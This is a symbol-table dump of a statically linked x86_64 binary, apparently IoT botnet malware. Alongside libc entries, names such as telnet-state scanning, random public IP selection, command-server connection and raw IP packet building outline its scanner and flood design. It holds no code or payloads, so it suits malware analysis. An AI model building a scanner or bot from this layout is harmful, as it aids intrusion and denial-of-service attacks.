__libc_sendto	.symtab	0x405d28	48	FUNC	<unknown>	DEFAULT	2
__libc_sigaction	.symtab	0x407a1d	114	FUNC	<unknown>	DEFAULT	2
__libc_stack_end	.symtab	0x519450	8	OBJECT	<unknown>	DEFAULT	10
__libc_system	.symtab	0x407894	335	FUNC	<unknown>	DEFAULT	2
__libc_waitpid	.symtab	0x403d98	7	FUNC	<unknown>	DEFAULT	2
__libc_write	.symtab	0x403f68	42	FUNC	<unknown>	DEFAULT	2
__local_nameserver	.symtab	0x40fc30	16	OBJECT	<unknown>	HIDDEN	4
__malloc_consolidate	.symtab	0x406836	407	FUNC	<unknown>	HIDDEN	2
__malloc_largebin_index	.symtab	0x405ea4	110	FUNC	<unknown>	DEFAULT	2
__malloc_lock	.symtab	0x513000	40	OBJECT	<unknown>	DEFAULT	9
__malloc_state	.symtab	0x519580	1752	OBJECT	<unknown>	DEFAULT	10
__malloc_trim	.symtab	0x4067a0	150	FUNC	<unknown>	DEFAULT	2
__nameserver	.symtab	0x519c78	8	OBJECT	<unknown>	HIDDEN	10
__nameservers	.symtab	0x519c80	4	OBJECT	<unknown>	HIDDEN	10
__open_etc_hosts	.symtab	0x40c5b8	10	FUNC	<unknown>	HIDDEN	2
__open_nameservers	.symtab	0x40bb69	968	FUNC	<unknown>	HIDDEN	2
__pagesize	.symtab	0x519460	8	OBJECT	<unknown>	DEFAULT	10
__preinit_array_end	.symtab	0x5127a4	0	NOTYPE	<unknown>	HIDDEN	SHN_ABS
__preinit_array_start	.symtab	0x5127a4	0	NOTYPE	<unknown>	HIDDEN	SHN_ABS
__progname	.symtab	0x513170	8	OBJECT	<unknown>	DEFAULT	9
__progname_full	.symtab	0x513178	8	OBJECT	<unknown>	DEFAULT	9
__pthread_initialize_minimal	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__pthread_mutex_init	.symtab	0x407587	3	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_lock	.symtab	0x407584	3	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_trylock	.symtab	0x407584	3	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_unlock	.symtab	0x407584	3	FUNC	<unknown>	DEFAULT	2
__pthread_return_0	.symtab	0x407584	3	FUNC	<unknown>	DEFAULT	2
__read_etc_hosts_r	.symtab	0x40c5c2	518	FUNC	<unknown>	HIDDEN	2
__register_frame_info	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__res_sync	.symtab	0x519c68	8	OBJECT	<unknown>	HIDDEN	10
__resolv_attempts	.symtab	0x513195	1	OBJECT	<unknown>	HIDDEN	9
__resolv_lock	.symtab	0x519490	40	OBJECT	<unknown>	DEFAULT	10
__resolv_timeout	.symtab	0x513194	1	OBJECT	<unknown>	HIDDEN	9
__restore_rt	.symtab	0x407a14	0	NOTYPE	<unknown>	DEFAULT	2
__rtld_fini	.symtab	0x519470	8	OBJECT	<unknown>	HIDDEN	10
__searchdomain	.symtab	0x519c70	8	OBJECT	<unknown>	HIDDEN	10
__searchdomains	.symtab	0x519c84	4	OBJECT	<unknown>	HIDDEN	10
__sigaddset	.symtab	0x405e68	28	FUNC	<unknown>	DEFAULT	2
__sigdelset	.symtab	0x405e84	30	FUNC	<unknown>	DEFAULT	2
__sigismember	.symtab	0x405e48	32	FUNC	<unknown>	DEFAULT	2
__stdin	.symtab	0x512df8	8	OBJECT	<unknown>	DEFAULT	9
__stdio_READ	.symtab	0x40ab74	58	FUNC	<unknown>	HIDDEN	2
__stdio_WRITE	.symtab	0x40846c	150	FUNC	<unknown>	HIDDEN	2
__stdio_adjust_position	.symtab	0x40abb0	131	FUNC	<unknown>	HIDDEN	2
__stdio_fwrite	.symtab	0x408738	259	FUNC	<unknown>	HIDDEN	2
__stdio_init_mutex	.symtab	0x40420b	15	FUNC	<unknown>	HIDDEN	2
__stdio_mutex_initializer.4911	.symtab	0x40e2d0	40	OBJECT	<unknown>	DEFAULT	4
__stdio_rfill	.symtab	0x40ac34	37	FUNC	<unknown>	HIDDEN	2
__stdio_seek	.symtab	0x40acb8	31	FUNC	<unknown>	HIDDEN	2
__stdio_trans2r_o	.symtab	0x40ac5c	90	FUNC	<unknown>	HIDDEN	2
__stdio_trans2w_o	.symtab	0x40883c	149	FUNC	<unknown>	HIDDEN	2
__stdio_wcommit	.symtab	0x4042a4	39	FUNC	<unknown>	HIDDEN	2
__stdout	.symtab	0x512e00	8	OBJECT	<unknown>	DEFAULT	9
__syscall_error	.symtab	0x40a67c	22	FUNC	<unknown>	HIDDEN	2
__syscall_error.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__syscall_fcntl.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__uClibc_fini	.symtab	0x4075a4	70	FUNC	<unknown>	DEFAULT	2
__uClibc_init	.symtab	0x40761f	58	FUNC	<unknown>	DEFAULT	2
__uClibc_main	.symtab	0x407659	570	FUNC	<unknown>	DEFAULT	2
__uClibc_main.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__uclibc_progname	.symtab	0x513168	8	OBJECT	<unknown>	HIDDEN	9
__vfork	.symtab	0x407a90	21	FUNC	<unknown>	HIDDEN	2
__xpg_strerror_r	.symtab	0x405a04	196	FUNC	<unknown>	DEFAULT	2
__xpg_strerror_r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__xstat32_conv	.symtab	0x40a7e4	172	FUNC	<unknown>	HIDDEN	2
__xstat64_conv	.symtab	0x40a738	172	FUNC	<unknown>	HIDDEN	2
__xstat_conv	.symtab	0x40a890	172	FUNC	<unknown>	HIDDEN	2
_adjust_pos.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_bss_custom_printf_spec	.symtab	0x519230	10	OBJECT	<unknown>	DEFAULT	10
_charpad	.symtab	0x4042cc	77	FUNC	<unknown>	DEFAULT	2
_cs_funcs.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_custom_printf_arginfo	.symtab	0x5194d0	80	OBJECT	<unknown>	HIDDEN	10
_custom_printf_handler	.symtab	0x519520	80	OBJECT	<unknown>	HIDDEN	10
_custom_printf_spec	.symtab	0x512ff0	8	OBJECT	<unknown>	HIDDEN	9
_dl_aux_init	.symtab	0x40a638	23	FUNC	<unknown>	DEFAULT	2
_dl_phdr	.symtab	0x519c58	8	OBJECT	<unknown>	DEFAULT	10
_dl_phnum	.symtab	0x519c60	8	OBJECT	<unknown>	DEFAULT	10
_edata	.symtab	0x513198	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_end	.symtab	0x519c88	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_errno	.symtab	0x519478	4	OBJECT	<unknown>	DEFAULT	10
_exit	.symtab	0x403f94	43	FUNC	<unknown>	DEFAULT	2
_exit.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_fini	.symtab	0x40c934	0	FUNC	<unknown>	DEFAULT	3
_fixed_buffers	.symtab	0x517230	8192	OBJECT	<unknown>	DEFAULT	10
_fopen.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_fp_out_narrow	.symtab	0x404319	120	FUNC	<unknown>	DEFAULT	2
_fpmaxtostr	.symtab	0x408a28	1565	FUNC	<unknown>	HIDDEN	2
_fpmaxtostr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_fwrite.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_h_errno	.symtab	0x51947c	4	OBJECT	<unknown>	DEFAULT	10
_init	.symtab	0x4000e8	0	FUNC	<unknown>	DEFAULT	1
_load_inttype	.symtab	0x4088d4	85	FUNC	<unknown>	HIDDEN	2
_load_inttype.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_ppfs_init	.symtab	0x404a48	114	FUNC	<unknown>	HIDDEN	2
_ppfs_init.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_ppfs_parsespec	.symtab	0x404ce2	1126	FUNC	<unknown>	HIDDEN	2
_ppfs_parsespec.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_ppfs_prepargs	.symtab	0x404abc	67	FUNC	<unknown>	HIDDEN	2
_ppfs_prepargs.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_ppfs_setargs	.symtab	0x404b00	436	FUNC	<unknown>	HIDDEN	2
_ppfs_setargs.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_promoted_size	.symtab	0x404cb4	46	FUNC	<unknown>	DEFAULT	2
_pthread_cleanup_pop_restore	.symtab	0x407592	18	FUNC	<unknown>	DEFAULT	2
_pthread_cleanup_push_defer	.symtab	0x40758a	8	FUNC	<unknown>	DEFAULT	2
_rfill.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_sigintr	.symtab	0x519570	8	OBJECT	<unknown>	HIDDEN	10
_start	.symtab	0x400194	42	FUNC	<unknown>	DEFAULT	2
_stdio.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_stdio_fopen	.symtab	0x408504	563	FUNC	<unknown>	HIDDEN	2
_stdio_init	.symtab	0x4041ac	95	FUNC	<unknown>	HIDDEN	2
_stdio_openlist	.symtab	0x512e08	8	OBJECT	<unknown>	DEFAULT	9
_stdio_openlist_add_lock	.symtab	0x512e10	40	OBJECT	<unknown>	DEFAULT	9
_stdio_openlist_dec_use	.symtab	0x40913c	216	FUNC	<unknown>	HIDDEN	2
_stdio_openlist_del_count	.symtab	0x517224	4	OBJECT	<unknown>	DEFAULT	10
_stdio_openlist_del_lock	.symtab	0x512e40	40	OBJECT	<unknown>	DEFAULT	9
_stdio_openlist_use_count	.symtab	0x517220	4	OBJECT	<unknown>	DEFAULT	10
_stdio_streams	.symtab	0x512e70	384	OBJECT	<unknown>	DEFAULT	9
_stdio_term	.symtab	0x40421a	135	FUNC	<unknown>	HIDDEN	2
_stdio_user_locking	.symtab	0x512e68	4	OBJECT	<unknown>	DEFAULT	9
_stdlib_strto_l	.symtab	0x407070	339	FUNC	<unknown>	HIDDEN	2
_stdlib_strto_l.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_store_inttype	.symtab	0x40892c	46	FUNC	<unknown>	HIDDEN	2
_store_inttype.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_string_syserrmsgs	.symtab	0x40e3d0	2906	OBJECT	<unknown>	HIDDEN	4
_string_syserrmsgs.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_trans2r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_trans2w.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_uintmaxtostr	.symtab	0x40895c	201	FUNC	<unknown>	HIDDEN	2
_uintmaxtostr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_vfprintf_internal	.symtab	0x404391	1716	FUNC	<unknown>	HIDDEN	2
_vfprintf_internal.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_wcommit.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
abort	.symtab	0x406bac	200	FUNC	<unknown>	DEFAULT	2
abort.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
access	.symtab	0x403dcc	41	FUNC	<unknown>	DEFAULT	2
access.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
advance_telstate	.symtab	0x40058b	80	FUNC	<unknown>	DEFAULT	2
advances	.symtab	0x512c40	104	OBJECT	<unknown>	DEFAULT	9
advances2	.symtab	0x512d60	88	OBJECT	<unknown>	DEFAULT	9
atoi	.symtab	0x407050	18	FUNC	<unknown>	DEFAULT	2
atoi.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
bcopy	.symtab	0x4059e8	14	FUNC	<unknown>	DEFAULT	2
bcopy.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
been_there_done_that	.symtab	0x519440	4	OBJECT	<unknown>	DEFAULT	10
brk	.symtab	0x40a650	43	FUNC	<unknown>	DEFAULT	2
brk.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
bsd_signal	.symtab	0x405dc0	133	FUNC	<unknown>	DEFAULT	2
buf.3318	.symtab	0x519250	16	OBJECT	<unknown>	DEFAULT	10
buf.5765	.symtab	0x519260	448	OBJECT	<unknown>	DEFAULT	10
bzero	.symtab	0x4056f0	210	FUNC	<unknown>	DEFAULT	2
c	.symtab	0x512db8	4	OBJECT	<unknown>	DEFAULT	9
calloc	.symtab	0x40a0b0	248	FUNC	<unknown>	DEFAULT	2
calloc.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
chdir	.symtab	0x403e24	38	FUNC	<unknown>	DEFAULT	2
chdir.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
cli.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
clock_getres	.symtab	0x407af4	41	FUNC	<unknown>	DEFAULT	2
clock_getres.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
close	.symtab	0x403fec	41	FUNC	<unknown>	DEFAULT	2
close.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
closedir	.symtab	0x407c90	147	FUNC	<unknown>	DEFAULT	2
closedir.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
closenameservers.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
commServer	.symtab	0x512928	8	OBJECT	<unknown>	DEFAULT	9
completed.5150	.symtab	0x5131a0	1	OBJECT	<unknown>	DEFAULT	10
connect	.symtab	0x405c80	43	FUNC	<unknown>	DEFAULT	2
connect.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
connectTimeout	.symtab	0x4014d6	582	FUNC	<unknown>	DEFAULT	2
contains_fail	.symtab	0x4003a5	28	FUNC	<unknown>	DEFAULT	2
contains_response	.symtab	0x4003c1	59	FUNC	<unknown>	DEFAULT	2
contains_string	.symtab	0x4002ff	138	FUNC	<unknown>	DEFAULT	2
contains_success	.symtab	0x400389	28	FUNC	<unknown>	DEFAULT	2
crtstuff.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
crtstuff.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
csum	.symtab	0x401e65	116	FUNC	<unknown>	DEFAULT	2
currentServer	.symtab	0x512920	4	OBJECT	<unknown>	DEFAULT	9
data_start	.symtab	0x5127f0	0	NOTYPE	<unknown>	DEFAULT	9
decoded.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
decodeh.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
dl-support.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
dnslookup.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
encoded.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
encodeh.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
encodeq.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
environ	.symtab	0x519458	8	OBJECT	<unknown>	DEFAULT	10
errno	.symtab	0x519478	4	OBJECT	<unknown>	DEFAULT	10
errno.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
execl	.symtab	0x40a518	287	FUNC	<unknown>	DEFAULT	2
execl.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
execve	.symtab	0x40a694	38	FUNC	<unknown>	DEFAULT	2
execve.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
exit	.symtab	0x4071c4	92	FUNC	<unknown>	DEFAULT	2
exit.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
exp10_table	.symtab	0x40fa90	208	OBJECT	<unknown>	DEFAULT	4
fails	.symtab	0x512cc0	64	OBJECT	<unknown>	DEFAULT	9
fclose	.symtab	0x408350	269	FUNC	<unknown>	DEFAULT	2
fclose.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fcntl	.symtab	0x403ea0	100	FUNC	<unknown>	DEFAULT	2
fd_to_DIR	.symtab	0x407d24	149	FUNC	<unknown>	DEFAULT	2
fdopendir	.symtab	0x407e56	115	FUNC	<unknown>	DEFAULT	2
fflush_unlocked	.symtab	0x409214	322	FUNC	<unknown>	DEFAULT	2
fflush_unlocked.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fgetc	.symtab	0x409048	128	FUNC	<unknown>	DEFAULT	2
fgetc.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fgetc_unlocked	.symtab	0x409358	222	FUNC	<unknown>	DEFAULT	2
fgetc_unlocked.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fgets	.symtab	0x4090c8	116	FUNC	<unknown>	DEFAULT	2
fgets.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fgets_unlocked	.symtab	0x409438	116	FUNC	<unknown>	DEFAULT	2
fgets_unlocked.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fmt	.symtab	0x40fa70	20	OBJECT	<unknown>	DEFAULT	4
fopen	.symtab	0x408460	10	FUNC	<unknown>	DEFAULT	2
fopen.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fork	.symtab	0x403d70	38	FUNC	<unknown>	DEFAULT	2
fork.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fputs_unlocked	.symtab	0x405148	56	FUNC	<unknown>	DEFAULT	2
fputs_unlocked.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
frame_dummy	.symtab	0x400150	0	FUNC	<unknown>	DEFAULT	2
free	.symtab	0x4069cd	451	FUNC	<unknown>	DEFAULT	2
free.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fseek	.symtab	0x40aa88	5	FUNC	<unknown>	DEFAULT	2
fseeko	.symtab	0x40aa88	5	FUNC	<unknown>	DEFAULT	2
fseeko.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fseeko64	.symtab	0x40aa90	225	FUNC	<unknown>	DEFAULT	2
fseeko64.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fstat	.symtab	0x40a6e4	82	FUNC	<unknown>	DEFAULT	2
fstat.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fstat64	.symtab	0x40a6e4	82	FUNC	<unknown>	DEFAULT	2
fwrite_unlocked	.symtab	0x405180	128	FUNC	<unknown>	DEFAULT	2
fwrite_unlocked.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getBuild	.symtab	0x4001c0	11	FUNC	<unknown>	DEFAULT	2
getEndianness	.symtab	0x403603	128	FUNC	<unknown>	DEFAULT	2
getHost	.symtab	0x4011e9	65	FUNC	<unknown>	DEFAULT	2
getRandomIP	.symtab	0x401e36	47	FUNC	<unknown>	DEFAULT	2
getRandomPublicIP	.symtab	0x401a42	1012	FUNC	<unknown>	DEFAULT	2
get_hosts_byname_r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
get_telstate_host	.symtab	0x40056b	32	FUNC	<unknown>	DEFAULT	2
getc	.symtab	0x409048	128	FUNC	<unknown>	DEFAULT	2
getc_unlocked	.symtab	0x409358	222	FUNC	<unknown>	DEFAULT	2
getdents64.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getdtablesize	.symtab	0x407b84	36	FUNC	<unknown>	DEFAULT	2
getdtablesize.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getegid	.symtab	0x407b20	8	FUNC	<unknown>	DEFAULT	2
getegid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
geteuid	.symtab	0x407b28	8	FUNC	<unknown>	DEFAULT	2
geteuid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getgid	.symtab	0x407b7c	8	FUNC	<unknown>	DEFAULT	2
getgid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
gethostbyname	.symtab	0x405c30	10	FUNC	<unknown>	DEFAULT	2
gethostbyname.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
gethostbyname2	.symtab	0x405c3c	65	FUNC	<unknown>	DEFAULT	2
gethostbyname2.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
gethostbyname2_r	.symtab	0x409da0	761	FUNC	<unknown>	DEFAULT	2
gethostbyname2_r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
gethostbyname_r	.symtab	0x40bfd4	791	FUNC	<unknown>	DEFAULT	2
gethostbyname_r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
gethostname	.symtab	0x40c318	94	FUNC	<unknown>	DEFAULT	2
gethostname.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getpagesize	.symtab	0x407ad8	19	FUNC	<unknown>	DEFAULT	2
getpagesize.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getpid	.symtab	0x403d0c	8	FUNC	<unknown>	DEFAULT	2
getpid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getrlimit	.symtab	0x40a6bc	40	FUNC	<unknown>	DEFAULT	2
getrlimit.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getrlimit64	.symtab	0x40a6bc	40	FUNC	<unknown>	DEFAULT	2
getsockopt	.symtab	0x405cac	50	FUNC	<unknown>	DEFAULT	2
getsockopt.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getuid	.symtab	0x407aec	8	FUNC	<unknown>	DEFAULT	2
getuid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
h_errno	.symtab	0x51947c	4	OBJECT	<unknown>	DEFAULT	10
hoste.5764	.symtab	0x519420	32	OBJECT	<unknown>	DEFAULT	10
htonl	.symtab	0x405ba4	5	FUNC	<unknown>	DEFAULT	2
htons	.symtab	0x405b9c	8	FUNC	<unknown>	DEFAULT	2
i.5163	.symtab	0x512dbc	4	OBJECT	<unknown>	DEFAULT	9
index	.symtab	0x4052e0	417	FUNC	<unknown>	DEFAULT	2
inet_addr	.symtab	0x405c10	29	FUNC	<unknown>	DEFAULT	2
inet_aton	.symtab	0x409d18	135	FUNC	<unknown>	DEFAULT	2
inet_aton.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
inet_makeaddr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
inet_ntoa	.symtab	0x405c05	10	FUNC	<unknown>	DEFAULT	2
inet_ntoa.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
inet_ntoa_r	.symtab	0x405bb8	77	FUNC	<unknown>	DEFAULT	2
inet_ntop	.symtab	0x40b0c9	518	FUNC	<unknown>	DEFAULT	2
inet_ntop4	.symtab	0x40afd6	243	FUNC	<unknown>	DEFAULT	2
inet_pton	.symtab	0x40ade9	493	FUNC	<unknown>	DEFAULT	2
inet_pton4	.symtab	0x40ad64	133	FUNC	<unknown>	DEFAULT	2
initConnection	.symtab	0x403448	296	FUNC	<unknown>	DEFAULT	2
init_rand	.symtab	0x4001cb	126	FUNC	<unknown>	DEFAULT	2
initfini.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
initstate	.symtab	0x406d22	110	FUNC	<unknown>	DEFAULT	2
initstate_r	.symtab	0x406f94	185	FUNC	<unknown>	DEFAULT	2
ioctl	.symtab	0x407bf8	101	FUNC	<unknown>	DEFAULT	2
ioctl.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
ipState.5996	.symtab	0x513216	4	OBJECT	<unknown>	DEFAULT	10
isatty	.symtab	0x405b10	25	FUNC	<unknown>	DEFAULT	2
isatty.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
isspace	.symtab	0x404018	18	FUNC	<unknown>	DEFAULT	2
isspace.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
kill	.symtab	0x403e74	44	FUNC	<unknown>	DEFAULT	2
kill.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
last_id.5826	.symtab	0x513190	2	OBJECT	<unknown>	DEFAULT	9
last_ns_num.5825	.symtab	0x519488	4	OBJECT	<unknown>	DEFAULT	10
libc/string/x86_64/bzero.S	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc/string/x86_64/memcpy.S	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc/string/x86_64/mempcpy.S	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc/string/x86_64/memset.S	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc/string/x86_64/strchr.S	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc/string/x86_64/strcmp.S	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc/string/x86_64/strcpy.S	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc/string/x86_64/strcspn.S	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc/string/x86_64/strlen.S	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc/string/x86_64/strpbrk.S	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc/string/x86_64/strspn.S	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc/sysdeps/linux/x86_64/crt1.S	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc/sysdeps/linux/x86_64/crti.S	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc/sysdeps/linux/x86_64/crtn.S	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc/sysdeps/linux/x86_64/vfork.S	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
listFork	.symtab	0x40171c	211	FUNC	<unknown>	DEFAULT	2
llseek.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
lseek	.symtab	0x40c7f0	45	FUNC	<unknown>	DEFAULT	2
lseek.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
lseek64	.symtab	0x40c3c8	5	FUNC	<unknown>	DEFAULT	2
macAddress	.symtab	0x513210	6	OBJECT	<unknown>	DEFAULT	10
main	.symtab	0x403683	1488	FUNC	<unknown>	DEFAULT	2
mainCommSock	.symtab	0x513200	4	OBJECT	<unknown>	DEFAULT	10
makeIPPacket	.symtab	0x401f82	153	FUNC	<unknown>	DEFAULT	2
makeRandomStr	.symtab	0x40122a	110	FUNC	<unknown>	DEFAULT	2
malloc	.symtab	0x405f12	2187	FUNC	<unknown>	DEFAULT	2
malloc.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
malloc_trim	.symtab	0x406b90	28	FUNC	<unknown>	DEFAULT	2
matchPrompt	.symtab	0x401913	303	FUNC	<unknown>	DEFAULT	2
memchr	.symtab	0x40961c	236	FUNC	<unknown>	DEFAULT	2
memchr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
memcpy	.symtab	0x405680	102	FUNC	<unknown>	DEFAULT	2
memmove	.symtab	0x409708	702	FUNC	<unknown>	DEFAULT	2
memmove.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
mempcpy	.symtab	0x4095c0	90	FUNC	<unknown>	DEFAULT	2
memrchr	.symtab	0x409ae8	233	FUNC	<unknown>	DEFAULT	2
memrchr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
memset	.symtab	0x405200	210	FUNC	<unknown>	DEFAULT	2
mmap	.symtab	0x4079e4	48	FUNC	<unknown>	DEFAULT	2
mmap.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
mremap	.symtab	0x40a93c	42	FUNC	<unknown>	DEFAULT	2
mremap.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
munmap	.symtab	0x407ba8	38	FUNC	<unknown>	DEFAULT	2
munmap.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
mylock	.symtab	0x513030	40	OBJECT	<unknown>	DEFAULT	9
mylock	.symtab	0x513060	40	OBJECT	<unknown>	DEFAULT	9
nanosleep	.symtab	0x407bd0	38	FUNC	<unknown>	DEFAULT	2
nanosleep.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
negotiate	.symtab	0x4017ef	292	FUNC	<unknown>	DEFAULT	2
next_start.1699	.symtab	0x519240	8	OBJECT	<unknown>	DEFAULT	10
nprocessors_onln	.symtab	0x4072b0	223	FUNC	<unknown>	DEFAULT	2
ntohl	.symtab	0x405bb1	5	FUNC	<unknown>	DEFAULT	2
ntohl.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
ntohs	.symtab	0x405ba9	8	FUNC	<unknown>	DEFAULT	2
ntop.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
